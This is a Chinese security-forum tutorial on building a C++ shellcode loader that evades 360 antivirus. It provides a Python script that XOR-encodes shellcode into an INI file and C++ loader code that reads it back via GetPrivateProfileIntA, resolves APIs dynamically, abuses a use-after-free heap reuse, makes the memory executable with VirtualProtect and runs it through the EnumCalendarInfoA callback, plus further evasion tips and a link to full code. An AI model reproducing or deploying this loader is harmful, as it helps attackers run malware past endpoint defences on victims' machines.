c++免杀360

感谢各位师傅们阅读,文章哪有不对的,希望师傅们提出来呀

先看效果图

3_pass.png

4_pass.png

本文涉及到的知识如下:

1. windows api(至于这些api的参数这里就不讲了,师傅们可以自行docs.microsoft.com去搜索)

GetPrivateProfileIntA  这个api用来获取我们加密过后的shellcode(这个api返回值为uint)
GetCurrentDirectoryA  该api是获取当前程序所在目录
GetProcAddress   获取某个dll中的某个函数地址
GetModuleHandleA  获取某个模块的句柄
VirtualProtect   可以把内存变更为可执行
malloc    申请内存
itoa   功能:比如把 1 变为 '1'
EnumCalendarInfoA  这个api我们只用得着第一个参数,就是回调函数,利用它来执行我们的shellcode

GetPrivateProfileIntA这个api我举个例子
int.PNG
在1.ini这个配置文件中,[key]以下的被称之为“部分“,abc称之为键,123为值,GetPrivateProfileIntA就是获取其整数值(用这个api主要是因为我把shellcode全转化成了整数),这个用c++进行写入加密后的shellcode不怎么方便,所以我选择用Python进行写入文件

2. UAF :这里我引用微信公众号红队蓝军的介绍

#include <iostream>
int main()
{
    char* p1 = (char*)malloc(sizeof(char*)*10);
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,p1:%s\n",p1,p1);
    free(p1);  //释放堆空间
    char* p2 = (char*)malloc(sizeof(char*) * 10);
    memcpy(p2,"world",10);
    printf("p2 addr:%x p1:%s\n",p2,p2);
    printf("p1 addr:%x,p1:%s\n", p1, p1);
}

结果如下图:

mmexport1660130040644.png

指针p1指向了一块大小为10字节的堆空间,并存入了一个字符串“hello”,随即释放了该堆空间,但并未将指针p1指向null,这将导致指针p1仍然能够使用。

紧接着指针p2指向了一块新申请为10字节的堆空间,并存入了一个字符串“world”,此时打印p1,p2的地址和字符串,发现p1和p2地址相同,并且此时能通过p1打印出“world”。

在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

通过p2能够操作p1,如果之后p1继续被使用,则可以达到通过p2修改程序功能等目的,这也是UAF(use after free)的含义

3.

1_code.png
加密代码如下:

print("| |__  _   _ _ __   __ _ ___ ___")
print("| '_ \| | | | '_ \ / _` / __/ __|")
print("| |_) | |_| | |_) | (_| \__ \__ \\")
print("|_.__/ \__, | .__/ \__,_|___/___/")
print("       |___/|_|")
shellcode_=b""  #shellcode放在这里
shellcode=[]
for i in shellcode_:
    shellcode.append(str(i^1024))
shellcode=",".join(shellcode).split(",")
file=open("sc.ini","w")
file.write("[key]\n")
n=0
for i in shellcode:
    file.write(f"{n}={i}\n")
    n+=1
file.close()

这里就是通过for循环遍历shellcode,然后异或生成加密后的shellcode最后打卡sc.ini文件写入shellcode(这里师傅们能看懂吧?)

txt.PNG
脚本执行完后ini配置文件长这样,等号后面的值就是我们把shellcode异或加密后的整数值

上面是简单的加密方式,师傅们可以自己魔改哦,像ctf密码学中的凯撒密码和隐写这类的都可以用到免杀中

接下来写加载器加载shellcode就行了,这里我用的回调函数执行shellcode,api是EnumCalendarInfoA的第一个参数

en3.png

en4.png
这里调用api我都是利用GetProcAddress这个api获取函数地址,函数指针进行调用的 **(笔者我这里开始是想利用IAT表获取GetProcAddress函数地址,再利用函数指针调用GetProcAddress获取其他函数的地址,但我这里获取GetProcAddress地址调用后程序会报错) ,所以我是用的GetProcAddress函数获取getprocaddress地址(套娃,不过没啥用)

en.PNG

en2.PNG
这里把写入shellcode后的ini配置文件和程序放在一起,利用GetCurrentDirectoryA获取当前程序的所在目录,利用strcat函数把目录和sc.ini文件名拼接在一起,就得到了sc.ini的完整路径,如下图所示

main.PNG
随后我们只需要循环调用GetPrivateProfileIntA获取值进行解密即可

unsigned int bt[3000];
char buf[3000];
for (int i = 0; i < 3000; i++) {
    _itoa_s(i, buf, 10);
    UINT k = GetFileIntA("key",buf, NULL, PATH);
    bt[i] = k;
}

_itoa_s和itoa是一样的,只不过在vs中用itoa会报错,要用_itoa_s,
其中GetFileIntA是我们之前typedef定义的

typedef UINT(WINAPI* GetfileInt)(
    LPCSTR          LPAPPNAME,
    LPCSTR          KEYNAME,
    INT             DEFINE,
    LPCSTR          FILENAME
    );
GetfileInt GetFileIntA = (GetfileInt)GetFuncAddr(
    GetModuleHandleA("kernel32.dll"),
    "GetPrivateProfileIntA"
);

这里为什么用到itoa函数,是因为GetPrivateProfileIntA的参数是LPCSTR类型(其实就是我们熟悉的char*),在上面我们生成的sc.ini文件是1=1098这种类型的,所以传入的参数得一一对应,传入“1“即可获取1098这个值,所以我们直接利用itoa把1变成“1“,这样就方便了许多,利用for循环把shellcode放入bt这个数组里

拿到shellcode后,接下来就是前面提到过的UAF(对免杀有没有帮助这个我不知道,既然学到了,那就用上呗)

typedef BOOL(WINAPI* EnumInfo)(
    CALINFO_ENUMPROCA   proc,
    LCID                Eocale,
    CALID               Calender,
    CALTYPE             Type
    );

typedef BOOL(WINAPI* Exchange_)(
    LPVOID      lpAddress,
    SIZE_T      DWsIZE,
    DWORD       New,
    PDWORD      Old
    );

typedef FARPROC(WINAPI* GetFuncAddr_)(
    HMODULE hmod,
    LPCSTR  lpName
    );

GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress(
    GetModuleHandleA("Kernel32.dll"),
    "GetProcAddress"
);

Exchange_ exchange_ = (Exchange_)GetFuncAddr(
    GetModuleHandleA("kernel32.dll"),
    "VirtualProtect"
);

EnumInfo EnumInfoA = (EnumInfo)GetFuncAddr(
    GetModuleHandleA("Kernel32.dll"),
    "EnumCalendarInfoA"
    );

unsigned char* a = (unsigned char*)malloc(sizeof(bt));
free(a);
unsigned char* b = (unsigned char*)malloc(sizeof(bt));
for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) {
    b[i] = (unsigned char)(bt[i] ^ 1024);
}
DWORD p;
exchange_(a, sizeof(a), 0x40,&p);
EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE);

这个我写的加载器,算比较简单吧,就是回调函数执行shellcode,代码中的exchange_函数和EnumInfoA函数是之前typedef定义好的,
我们申请了a和b两个内存,释放了a,因为UAF(上面解释得有),虽说a释放了,但a的值却和b相同,所以我们把之前存到bt数组里的shellcode异或解密并且强制类型转换成unsigned char类型写入b内存里

随后用exchange*(virtualprotect)这个函数把a内存属性改为可执行,exchange*(a, sizeof(a), 0x40,&p); 然后利用回调函数执行a(因为a和b的值是相同的)

c++.PNG
这是EnumCalendarInfoA函数的参数,只有第一个参数是重要的,回调函数(其实就是函数指针),其余参数跟着文档填即可(这种函数很多,师傅们多找找一些知名度低的,免杀效果会好不少的喔!)

完整代码

完整代码我发在了github平台上,地址https://github.com/wz-wsl/360-bypass

结尾

一个小思路
windows有个api叫PathFindFileName,作用是获取当前程序的名字,这里我们可以把名字换成shellcode,利用这个api获取shellcode,不过需要注意的是windows下文件名最长为260个字符,所以我们可以把一半shellcode当成文件名,剩下的shellcode就利用其它方法呀

这里我收集了一些申请内存的api
GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
VirtualAlloc
VirtualAllocEx
ReallocADsMem AllocADsMem
CoTaskMenAlloc

希望能帮到师傅们!

  • 发表于 2022-08-12 09:38:14
  • 阅读 ( 12067 )
  • 分类:内网渗透

2 条评论

Tug0u_Fenr1r
好!
请先 登录 后评论
MG
厉害
请先 登录 后评论
请先 登录 后评论
旺崽
旺崽

学生

6 篇文章

站长统计